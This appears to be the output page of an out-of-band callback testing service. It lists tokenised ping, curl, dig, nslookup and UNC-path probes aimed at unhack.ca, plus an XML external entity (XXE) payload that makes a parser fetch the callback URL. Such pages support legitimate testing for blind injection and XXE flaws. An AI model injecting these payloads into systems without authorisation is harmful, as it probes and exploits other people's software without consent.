$ ping -c1 -p 00dc821a4b664bab512b0e7bcfdf3900 unhack.ca
$ curl http://unhack.ca/p/dc821a4b664bab512b0e7bcfdf39
$ dig dc821a4b664bab512b0e7bcfdf39 @unhack.ca
$ dig dc821a4b664bab512b0e7bcfdf39.ns.unhack.ca
C:\> nslookup dc821a4b664bab512b0e7bcfdf39 unhack.ca
C:\> type \\unhack.ca\dc821a4b664bab512b0e7bcfdf39\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/dc821a4b664bab512b0e7bcfdf39">]>
<foo>&xxe;</foo>
Waiting for ping...